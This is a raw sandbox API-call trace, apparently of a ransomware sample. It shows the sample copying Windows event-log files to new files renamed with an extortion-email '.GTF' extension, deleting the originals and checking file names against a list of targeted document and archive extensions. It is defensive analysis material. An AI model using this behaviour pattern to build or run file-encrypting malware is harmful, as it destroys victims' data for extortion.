	[0080.755] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.755] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0080.755] CloseHandle (hObject=0x35c) returned 1
	[0080.756] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0080.756] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.756] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.756] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.756] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.756] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0080.756] GetLastError () returned 0x0
	[0080.756] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.759] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.761] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.761] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.761] SetEndOfFile (hFile=0x39c) returned 1
	[0080.761] CloseHandle (hObject=0x39c) returned 1
	[0080.763] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.763] SetEndOfFile (hFile=0x35c) returned 1
	[0080.764] CloseHandle (hObject=0x35c) returned 1
	[0080.764] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.765] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1
	[0080.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.765] lstrlenW (lpString=".doc") returned 4
	[0080.765] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".docx") returned 5
	[0080.765] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.765] lstrlenW (lpString=".pdf") returned 4
	[0080.765] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".xls") returned 4
	[0080.765] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".xlsx") returned 5
	[0080.765] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.765] lstrlenW (lpString=".ppt") returned 4
	[0080.765] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.765] lstrlenW (lpString=".zip") returned 4
	[0080.765] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".rar") returned 4
	[0080.765] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".bz2") returned 4
	[0080.765] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.765] lstrlenW (lpString=".7z") returned 3
	[0080.766] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString=".dbf") returned 4
	[0080.766] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString=".1cd") returned 4
	[0080.766] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString=".jpg") returned 4
	[0080.766] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString=".doc") returned 4
	[0080.766] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".docx") returned 5
	[0080.766] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.766] lstrlenW (lpString=".pdf") returned 4
	[0080.766] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".xls") returned 4
	[0080.766] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".xlsx") returned 5
	[0080.766] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.766] lstrlenW (lpString=".ppt") returned 4
	[0080.766] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.766] lstrlenW (lpString=".zip") returned 4
	[0080.766] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".rar") returned 4
	[0080.766] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".bz2") returned 4
	[0080.766] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.766] lstrlenW (lpString=".7z") returned 3
	[0080.766] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.767] lstrlenW (lpString=".dbf") returned 4
	[0080.767] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.767] lstrlenW (lpString=".1cd") returned 4
	[0080.767] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0080.767] lstrlenW (lpString=".jpg") returned 4
	[0080.767] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.767] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.767] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51
	[0080.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.767] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0080.767] CloseHandle (hObject=0x35c) returned 1
	[0080.767] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0080.767] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.768] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.768] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0080.806] GetLastError () returned 0x0
	[0080.806] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.408] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.410] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.410] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0081.410] SetEndOfFile (hFile=0x31c) returned 1
	[0081.412] CloseHandle (hObject=0x31c) returned 1
	[0081.416] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.416] SetEndOfFile (hFile=0x35c) returned 1
	[0081.417] CloseHandle (hObject=0x35c) returned 1
	[0081.417] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.417] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1
	[0081.417] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".doc") returned 4
	[0081.418] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".docx") returned 5
	[0081.418] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.418] lstrlenW (lpString=".pdf") returned 4
	[0081.418] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".xls") returned 4
	[0081.418] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".xlsx") returned 5
	[0081.418] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.418] lstrlenW (lpString=".ppt") returned 4
	[0081.418] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".zip") returned 4
	[0081.418] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".rar") returned 4
	[0081.418] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".bz2") returned 4
	[0081.418] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".7z") returned 3
	[0081.418] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".dbf") returned 4
	[0081.418] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".1cd") returned 4
	[0081.418] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".jpg") returned 4
	[0081.418] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.418] lstrlenW (lpString=".doc") returned 4
	[0081.418] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.418] lstrlenW (lpString=".docx") returned 5
	[0081.419] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.419] lstrlenW (lpString=".pdf") returned 4
	[0081.419] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString=".xls") returned 4
	[0081.419] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString=".xlsx") returned 5
	[0081.419] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.419] lstrlenW (lpString=".ppt") returned 4
	[0081.419] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.419] lstrlenW (lpString=".zip") returned 4
	[0081.419] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString=".rar") returned 4
	[0081.419] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString=".bz2") returned 4
	[0081.419] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString=".7z") returned 3
	[0081.419] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.419] lstrlenW (lpString=".dbf") returned 4
	[0081.419] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.419] lstrlenW (lpString=".1cd") returned 4
	[0081.419] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0081.419] lstrlenW (lpString=".jpg") returned 4
	[0081.419] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.419] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.419] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42
	[0081.419] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.420] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.420] CloseHandle (hObject=0x35c) returned 1
	[0081.420] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0081.420] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.420] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.420] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.420] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.420] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0081.424] GetLastError () returned 0x0
	[0081.424] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.434] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.436] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.436] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x128, lpOverlapped=0x0) returned 1
	[0081.436] SetEndOfFile (hFile=0x31c) returned 1
	[0081.437] CloseHandle (hObject=0x31c) returned 1
	[0081.439] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.439] SetEndOfFile (hFile=0x35c) returned 1
	[0081.440] CloseHandle (hObject=0x35c) returned 1
	[0081.440] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.440] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1
	[0081.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.440] lstrlenW (lpString=".doc") returned 4
	[0081.440] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.440] lstrlenW (lpString=".docx") returned 5
	[0081.440] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.440] lstrlenW (lpString=".pdf") returned 4
	[0081.441] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".xls") returned 4
	[0081.441] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".xlsx") returned 5
	[0081.441] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.441] lstrlenW (lpString=".ppt") returned 4
	[0081.441] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString=".zip") returned 4
	[0081.441] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".rar") returned 4
	[0081.441] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".bz2") returned 4
	[0081.441] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".7z") returned 3
	[0081.441] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString=".dbf") returned 4
	[0081.441] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString=".1cd") returned 4
	[0081.441] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString=".jpg") returned 4
	[0081.441] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.441] lstrlenW (lpString=".doc") returned 4
	[0081.441] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".docx") returned 5
	[0081.441] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.441] lstrlenW (lpString=".pdf") returned 4
	[0081.441] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".xls") returned 4
	[0081.441] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.441] lstrlenW (lpString=".xlsx") returned 5
	[0081.442] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.442] lstrlenW (lpString=".ppt") returned 4
	[0081.442] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.442] lstrlenW (lpString=".zip") returned 4
	[0081.442] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString=".rar") returned 4
	[0081.442] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString=".bz2") returned 4
	[0081.442] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString=".7z") returned 3
	[0081.442] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.442] lstrlenW (lpString=".dbf") returned 4
	[0081.442] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.442] lstrlenW (lpString=".1cd") returned 4
	[0081.442] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0081.442] lstrlenW (lpString=".jpg") returned 4
	[0081.442] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.442] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.442] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39
	[0081.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.442] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.443] CloseHandle (hObject=0x35c) returned 1
	[0081.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0081.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
